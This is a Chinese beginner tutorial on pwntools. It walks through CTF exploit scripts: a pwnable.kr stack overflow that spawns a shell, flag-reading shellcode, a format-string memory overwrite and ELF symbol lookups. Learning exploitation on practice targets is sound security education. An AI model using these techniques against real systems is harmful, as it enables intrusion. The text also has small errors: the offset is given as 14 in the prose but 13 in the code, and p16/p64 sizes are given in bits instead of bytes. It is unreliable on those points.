pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。

Pwntools的“Hello World”

栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);    // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

pwntools脚本:

from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()

源码简洁明了,我们只需要将key改写成0xcafebabe。

现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。
remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

  • send(payload) 发送payload
  • sendline(payload)发送payload,并进行换行(末尾\n)
  • recvn(N) 接受 N(数字) 字符
  • recvline() 接收一行输出
  • recvlines(N) 接收 N(数字) 行输出
  • recvuntil(some_string)接收到 some_string 为止

在第三行中, p32() 可以让我们转换整数到小端序格式.p32转换4字节. p64p16 则分别转换 8 bit 和 2 bit 数字. c.sendline 将我们的payload发送到远程主机. "AAAA" * 14是我们到key的偏移量. Pwntools不能自动运算偏移量,用户需要自行计算。

最后,我们成功getshell了. 这时,你可能想发送命令进行交互. c.interactive()允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

写 Shellcode

下一题是pwnable.krasm. 你需要用ssh -p2222 asm@pwnable.kr并输入密码 guest 来查看可执行文件和源码. 这里,我们只展示利用代码:

from pwn import *p = process("./asm")
context.log_level = 'DEBUG'
gdb.attach(p)context(arch='amd64', os='linux')shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())

我们这里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
processremote 类似.remote连接远程主机, process则通过你声明的二进制文件路径在本地创建新的进程. 除了 I/O, process返回的对象可以通过 gdb.attach(p) 将进程attach到gdb上. Attach 之后, gdb 便可以调试该程序来 (设置 breakpoints, 查看 stack, 以及简单的反汇编).

提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安装并运行 tmux.

当我们想查看服务器输出时,并不需要在每个recvline或者recvuntil前加 print. 当 context.log_level被设置为 "DEBUG" , 我们的输入和服务器的输出会被直接输出.

shellcraft 是一个帮忙生成shellcode的类. 在我们的例子中, 我们 open 了一个文件并 read 文件到 stdout.

格式化漏洞自动化

我没有找到一个比较容易做的格式化漏洞题目,所以干脆用了官方文档的例子

from pwn import *
import tempfileprogram = tempfile.mktemp()
source  = program + ".c"
write(source, '''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{char buff[1024];void *ptr = NULL;int *my_var = TARGET;ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if(ptr != MEMORY_ADDRESS){perror("mmap");return EXIT_FAILURE;}*my_var = 0x41414141;write(1, &my_var, sizeof(int *));scanf("%s", buff);dprintf(2, buff);write(1, my_var, sizeof(int));return 0;
}''')
cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
process(cmdline).wait_for_close()
def exec_fmt(payload):p = process(program)p.sendline(payload)return p.recvall()autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p = process(program, stderr=PIPE)
addr = u32(p.recv(4))
payload = fmtstr_payload(offset, {addr: 0x1337babe})
p.sendline(payload)
print hex(unpack(p.recv(4)))

有了 FmtStr, 我们不用算偏移量算到疯. 我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到autofmt. 这个对象包含offset, 即算好的偏移量. fmtstr_payload(offset, {address: value})帮我们生成最后的payload. 第一个参数 offsetautofmt.offset 算好的即可. 然后, 我们需要声明{address: value}来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}.

使用 ELF()

有些题目给了我们libc. 用 gdb> x function1 — function2算偏移量太麻烦了, 因此有了 ELF.

from pwn import *e = ELF('./example_file')
print hex(e.address)  # 0x400000
print hex(e.symbols['write']) # 0x401680
print hex(e.got['write']) # 0x60b070
print hex(e.plt['write']) # 0x401680
offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh

process() 一样, 我们只用将路径给ELF(path) 即可分析 ELF.

我们有以下几种方法操纵ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function']找到 a_function 的 plt
  • next(e.search(“some_characters”))找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.

总结

Pwntools 是一套十分强大的工具. 在本文中, 我介绍了最常用的几个api, 但 pwntools 还有很多其他强大的api,诸如 qemu, adb. 各位可通过官方文档进行剩余的学习

一步一步学pwntools(适合新手)相关推荐

  1. python难不难学-超级适合新手学习的python教程,入门其实不难?

    在互联网时代很多人都希望掌握一个与互联网相关的知识,比如Python的知识就非常重要,因为无论是操作新媒体平台还是去制作一些软件,我们都需要掌握一些Python的技巧,而且学习一些Python的知识, ...

  2. 【Linux】一步一步学Linux——Linux版本(03)

    目录 00. 目录 01. Linux内核版本 02. Linux内核官方网站 03. Linux发行版本 04. Linux发行版本介绍 4.1 Ubuntu 4.2 RedHat 4.3 Debi ...

  3. 【Linux】一步一步学Linux——Linux内核版本和发行版本(03)

    00. 目录 文章目录 00. 目录 01. Linux内核版本 02. Linux内核官方网站 03. Linux发行版本 04. Linux发行版本介绍 4.1 Ubuntu 4.2 RedHat ...

  4. 一步一步学Linq to sql(一):预备知识

    从今天起将推出新手讲堂,首先从linq开始详细讲解.一步一步学Linq to sql(一):预备知识 什么是Linq to sql Linq to sql(或者叫DLINQ)是LINQ(.NET语言集 ...

  5. 【Linux】一步一步学Linux——setfacl命令(117)

    00. 目录 文章目录 00. 目录 01. 命令概述 02. 命令格式 03. 常用选项 04. ACL访问控制详解 05. 参考示例 06. 附录 01. 命令概述 setfacl的英文全称是&q ...

  6. 【Linux】一步一步学Linux——dir命令(了解)(25)

    00. 目录 文章目录 00. 目录 01. 命令概述 02. 命令格式 03. 常用选项 04. 参考示例 05. 附录 01. 命令概述 列出目录的内容 温馨提示:该命令只需了解,实际上使用ls代 ...

  7. 【Linux】一步一步学Linux——info命令(17)

    00. 目录 文章目录 00. 目录 01. 命令概述 02. 命令格式 03. 常用选项 04. 参考示例 05. 附录 01. 命令概述 info命令是Linux下info格式的帮助指令.阅读 i ...

  8. 一步一步学python爬虫_初学Python之爬虫的简单入门

    初学Python之爬虫的简单入门 一.什么是爬虫? 1.简单介绍爬虫 爬虫的全称为网络爬虫,简称爬虫,别名有网络机器人,网络蜘蛛等等. 网络爬虫是一种自动获取网页内容的程序,为搜索引擎提供了重要的数据 ...

  9. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  10. 强烈推荐,一步一步学装电脑(有图)

    一步一步学装电脑(有图) 对于高手而言,如何将各种各样的配件组装成一台电脑是轻而易举的事,但对于大多数初接触电脑的读者而言却不是这样了.对于许多想学会装机了解电脑组装DIY知识的读者而言,如何才能将各 ...

最新文章

  1. MPB:山东农大高峥、周波等-​​​尾菜堆肥微生物组样品取样方法
  2. 谷歌语音转录背后的神经网络
  3. 技术主管和架构师的职责
  4. 【转】.net异步性能测试(包括ASP.NET MVC WebAPI异步方法)
  5. iOS开发——高级技术通讯录功能的实现
  6. 配色神器,轻松解决你所有的配色难题!
  7. mysql:The total number of locks exceeds the lock table size
  8. IIS Rewrite配置与 Rewrite.dll下载
  9. FINALDATA 使用教程
  10. Python之quote() unquote()使用
  11. 【数据结构】一张图让你读懂:树的高度、深度、层的区别
  12. 解决Python中的TypeError list indices must be integers or slices, not float问题
  13. 7. F1方程式冠军
  14. SZA-Template
  15. Android Tapjacking
  16. 王者nba服务器维护,王者NBA新手常用问题FAQ大全
  17. 网络安全职业规划(笔记)
  18. 2022kali安装docker教程
  19. 2021陇剑杯部分wp
  20. python对seo有什么用_seo学习python有什么益处

热门文章

  1. 模态对话框和全选反选
  2. [译] Airbnb 在 React Native 上下的赌注(一):概述
  3. ie 浏览器布局中的 offset
  4. CSS基础学习-15-1.CSS 浏览器内核
  5. 2018-04-22接口自动化测试学习心得(1)
  6. 汇编小记16/3/27
  7. viewController的生命周期
  8. .net 笔记尝试(二)
  9. [转]sql,N/$/#/@的含义和作用
  10. 当代国人绝难做到的10件平常事